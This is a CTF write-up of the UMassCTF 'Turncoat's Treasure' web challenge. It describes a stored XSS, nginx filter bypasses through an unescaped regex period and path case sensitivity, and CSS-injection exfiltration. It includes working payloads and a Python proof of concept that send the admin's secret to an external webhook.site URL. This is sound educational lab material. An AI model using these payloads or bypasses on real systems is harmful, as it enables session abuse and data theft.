🚩 UMassCTF - Turncoat’s Treasure

Executive Summary

  • OS: Linux
  • Key Technique: The challenge does contain a XSS vulnerability inside the forum’s /user/:username endpoint where it blindly display unfiltered user input post content without our implementing any kind of CSP. This allows attacker to inject arbitrary HTML blocks into the DOM. The /treasure endpoint returns response as text/css, allow the attacker to exfiltrate the flag by importing response as CSS script inside the Captain (the admin) session.
  • Status: Completed

Reconnaissance

Configurations

The first thing I want to do when solving a challenge that contains multiple containers like this is to map out the network. Based on the docker-compose.yml I came up with this sketch:

center

As you can see the challenge contains 2 different network, the internal piratenet and the external network. We, as the host can only interact with the proxy when try to make connection to the endpoint inside the product and the forum containers. Only the proxy sits on both the internal net and the external net. There is a DNS server that’s only be used by the captain when he wants to make requests forum and product.

There is a .env file that contains the information about the network

# not the same in real env
PORT=443
HOST=pirate.bay
PIRATENET=10.67.0

First I try to find the flag inside the system. And I found it inside the captain container:

center

In order to make request to the /treasure endpoint, I need to make the captain do that himself. This might be hinting a SSRF vulnerability or XSS.

center

There is an endpoint called /call-captain where it takes in an input endpoint and navigate the captain to an endpoint inside the forum container. That means there might be something inside forum that’s vulnerable.

Inside the docker-compose.yml file, the DNS server of captain is the dns container. When the captain make a request to forum.pirate.bay it will consult this service.

center

The DNS server will route the request through the proxy first, so the captain does not have the direct access to the endpoint.

center

The proxy is using nginx as the engine. It forces all HTTP request to be transform to HTTPS. The domain captain.pirate.bay is completely blocked. If we try to make request like https://captain.pirate.bay/treasure the proxy will block it, this rule is enforced even if the requester is the captain himself.

The third block is for routing other requests. If the request is sent to the domain something.pirate.bay, the proxy will block it if the endpoint is /call-captain or /treasure

Let’s look at the forum endpoint where the admin makes request to. This seems to be a simple forum page where user register, login, and post posts and access people’s posts.

There is one user input endpoint that’s the /post endpoint that takes in a content. Other users can see this post by make a request to the endpoint /user/<author_username> and the post’s content will be rendered inside the user.html.

center

As you can see, the post content is rendered using {{ p.content | safe }}, this means the content will be displayed as it is, without special characters escaping, allowing us to inject arbitrary HTML blocks.

At this point the exploitation path is clear:

  1. Inject malicious HTML into the page /user/:username by uploading a post.
  2. Force the admin to visit our page and trigger a request to the /treasure endpoint.

Exploitation

In order to execute the exploit chain, we need to address some of the following problems:

  1. The proxy block requests to sensitive endpoint.
  2. Craft the suitable injection into the vulnerable page.

Bypass the Proxy filter

The proxy implements two filters to block us from triggering the /treasure endpoint.

  1. Domain Block

The nginx.conf file shows that the domain to captain.pirate.bay is blocked. However, the there is a critical vulnerability in this third block, it is the regex used to catch the domain. The regex will be explained inside the image below:

center

The vulnerability is in the way that the ${HOST} is injected right into the regex string. we recall that the HOST is defined inside the .env file as pirate.bay so the full regex in this case would be ~^(?<subdomain>.+)\.pirate.bay , without escaping the period (.) - which would match to any characters.

In our request, if we replace the period with any characters, say X, the our domain will become captain.pirateXbay, this will pass the filter for captain.pirate.bay but will still match the regex in the third block. And will be catch

Remember, at the the end of the third block there is this part:

center

The subdomain (which is the captain part from the example above) will be extracted and forwarded to the captain container. This mean we’ll successfully pass the first filter.

We can test this hypothesis by adding a new endpoint inside the captain container like this.

center

The go to our browser and search for http://captain.pirate.bay/healthz and observe the output.

center

This output prove that we’ve successfully bypass the first filter.

  1. Endpoint Block

The config file also blocks access to the /treasure endpoint and the /call-captain endpoint. The problem is, nginx is case-sensitive, it treats /login and /Login as two different endpoints (if it want to be case-insensitive there should be location ~* /treasure with the added ~*).

On the other hand, express is case-insensitive. This can be proved by navigate to https://forum.pirate.bay/Login, it’s still the same login endpoint.

center

Therefore, in order to bypass this filter, instead of calling /call-captain or /treasure, we can just call /Call-Captain and /Treasure and the filter will be bypassed.

Craft the XSS payload

A simple payload would be something like

<script>
	fetch('https://localhost/Treasure?name=hello').then(res => res.text()).then(output => fetch('https://<YOUR_WEBHOOK>?page=' + btoa(output)));
</script>

However, this will not work in this case because of the Same Origin Policy. The page that the captain visits is on forum.pirate.bay which is an entirely different domain compare to localhost in which the /treasure endpoint lives.

However, the SOP does not block the request from sending, it only block the page from reading the response. So in order to solve this, we need to force and outbound request to our webhook using another way.

Notice the response the that the /treasure endpoints returns has type text/css this means this output can be parsed as a CSS. The technique in this situation would be CSS injection.

According to to PortSwigger, CSS injection vulnerabilities arise when an application imports a style sheet from a user-supplied URL, or embeds user input in CSS blocks without adequate escaping.

In our case , the stylesheet is the response from the /treasure endpoint, since the response from this endpoint can be affected with our input in the name parameter, we can control the CSS that will be returned by the endpoint.

Looking online I can see an example payload like this:

center

Our payload should look something like this:

<style>
	@import 'https://localhost/treasure?name=...'
</style>

The problem is what we put inside the name parameter. The most simple way is to force an out-of-bound request by injecting a background attributes to the body selector:

body{
	background: url(https://<WEBHOOK>?data=...)
}

The response of the /treasure endpoint is in the form "here is your treasure " + req.query.name + " UMASS{testing}". Browser’s CSS parser is very much false tolerance. Missing some parentheses or curly braces would not stop the CSS from being executed.

Our name parameter look like this:

?name=,body{background:url(https://webhook.site/cfc0322f-7d9f-405b-8cc7-ad4b5a2b802f?d=LEAK\

Then the returning CSS would be:

here is your treasure ,body{background:url(https://webhook.site/cfc0322f-7d9f-405b-8cc7-ad4b5a2b802f?d=LEAK\ UMASS{testing}

The braces will be closed automatically by the CSS parser and the meaningless here is your treasure , part will be treated as garbage, but does not crash the parser. The \ is to escape the space inside typescript string operation inside the captain container’s index.ts file, making the flag part of the URL (otherwise the background would not be loaded because of the malformed URL).

Proof of Conceptl

import requests  
import uuid  
import time  
import re  
import os  
import urllib.parse
import urllib3
  
FORUM_URL = "https://forum.pirate.bay"
CAPTAIN_URL = "https://captain.pirateXbay"
UUID = str(uuid.uuid4())[:8]  
USERNAME = f"Haiyahhhhh_{UUID}"  
PASSWORD = "P@55word123"  
WEBHOOK_URL = "https://webhook.site/cfc0322f-7d9f-405b-8cc7-ad4b5a2b802f"
session = requests.session()  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
  
def check_response(resp, step_name):  
    if resp.status_code != 200:  
        print(resp.text)  
        exit(1)  
    print(f"[+] SUCCESS: {step_name}")  
 
def register(username, password):  
    resp = session.post(f"{FORUM_URL}/register", data={"username": username, "password": password}, verify=False)
    check_response(resp, "Register")  
 
def login(username, password):  
    resp = session.post(f"{FORUM_URL}/login", data={"username": username, "password": password}, verify=False)
    check_response(resp, "Login")  
  
def create_post(content):
    resp = session.post(f"{FORUM_URL}/post", data={"content": content}, verify=False)
    check_response(resp, "Create Post")  
  
def check_post():
    resp = session.get(f"{FORUM_URL}/user/{USERNAME}", verify=False)
    check_response(resp, "Check Post")
    return resp.text
  
def send_to_captain():
    resp = session.get(f"{CAPTAIN_URL}/Call-Captain?endpoint=/user/{USERNAME}", verify=False)
    check_response(resp, "Send to Captain")
 
register(USERNAME, PASSWORD)  
login(USERNAME, PASSWORD)  
  
raw_target = ",body{background:url(https://webhook.site/cfc0322f-7d9f-405b-8cc7-ad4b5a2b802f?d=LEAK\\"
  
encoded_target = urllib.parse.quote(raw_target)
payload = f"""<style>
@import url('https://localhost/treasure?name={encoded_target}');
</style>"""
 
create_post(payload)
send_to_captain()